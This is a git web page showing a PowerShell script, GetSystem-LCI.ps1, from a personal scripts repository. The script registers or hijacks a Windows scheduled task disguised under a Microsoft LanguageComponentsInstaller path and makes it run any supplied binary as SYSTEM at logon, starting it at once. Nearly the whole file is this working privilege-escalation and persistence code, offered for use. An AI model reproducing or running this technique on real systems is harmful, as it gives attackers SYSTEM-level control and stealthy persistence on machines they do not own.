etc.git


etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
log | files | refs | archive

GetSystem-LCI.ps1 (3543B)

      1 function GetSystem-LCI {
      2     param (
      3         [string]$BinaryPath
      4     )
      5 
      6     # Define the name and path of the task
      7     $TaskName = "Uninstallation"
      8     $TaskPath = "\Microsoft\Windows\LanguageComponentsInstaller"
      9 
     10     try {
     11         Write-Output "Checking if the task '$TaskPath\$TaskName' already exists..."
     12 
     13         # Verify if the task exists
     14         $task = Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue
     15         if ($null -ne $task) {
     16             Write-Output "The task '$TaskPath\$TaskName' already exists. Updating the task..."
     17 
     18             # Enable the task and update the action
     19             Enable-ScheduledTask -TaskPath $TaskPath -TaskName $TaskName | Out-Null
     20             $Action = New-ScheduledTaskAction -Execute $BinaryPath
     21             Set-ScheduledTask -TaskPath $TaskPath -TaskName $TaskName -Action $Action | Out-Null
     22             Write-Output "The task action has been updated to execute '$BinaryPath'."
     23         } else {
     24             Write-Output "The task '$TaskPath\$TaskName' does not exist. Creating it..."
     25 
     26             # Ensure the task folder exists
     27             $service = New-Object -ComObject Schedule.Service
     28             $service.Connect()
     29             $rootFolder = $service.GetFolder("\Microsoft\Windows")
     30             try {
     31                 $rootFolder.GetFolder("LanguageComponentsInstaller") | Out-Null
     32                 Write-Output "Task folder exists: $TaskPath."
     33             } catch {
     34                 $rootFolder.CreateFolder("LanguageComponentsInstaller") | Out-Null
     35                 Write-Output "Created task folder: $TaskPath."
     36             }
     37 
     38             # Define triggers and actions for the new task
     39             $Trigger = New-ScheduledTaskTrigger -AtLogOn
     40             $Action = New-ScheduledTaskAction -Execute $BinaryPath
     41 
     42             # Register the new scheduled task
     43             Register-ScheduledTask -TaskName $TaskName -TaskPath $TaskPath -Trigger $Trigger -Action $Action -RunLevel Highest -User "SYSTEM"  | Out-Null
     44             Write-Output "The task '$TaskName' has been created in '$TaskPath'."
     45         }
     46 
     47         # Add a delay to ensure the task is registered properly before querying it
     48         Start-Sleep -Seconds 2
     49 
     50         # Verify the task is visible in Task Scheduler
     51         $task = Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue
     52         if ($null -eq $task) {
     53             throw "Failed to retrieve the task '$TaskName'. Verify that it exists in Task Scheduler under '$TaskPath'."
     54         }
     55 
     56         Write-Output "Task '$TaskName' has been verified successfully."
     57 
     58         # Update task settings
     59         $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
     60         Set-ScheduledTask -TaskPath $TaskPath -TaskName $TaskName -Settings $settings | Out-Null
     61         Write-Output "The task settings have been updated."
     62 
     63         # Start the task immediately
     64         Start-ScheduledTask -TaskPath $TaskPath -TaskName $TaskName | Out-Null
     65         Write-Output "The task has been started successfully."
     66     } catch {
     67         if ($_.Exception.Message -match "Cannot create a file when that file already exists") {
     68             Write-Warning "The task appears to be in an inconsistent state. Removing and recreating it..."
     69 
     70             # Remove and recreate the task
     71             Unregister-ScheduledTask -TaskPath $TaskPath -TaskName $TaskName -Confirm:$false | Out-Null
     72             GetSystem-LCI -BinaryPath $BinaryPath
     73         } else {
     74             Write-Error "Error while processing the task: $_"
     75         }
     76     }
     77 }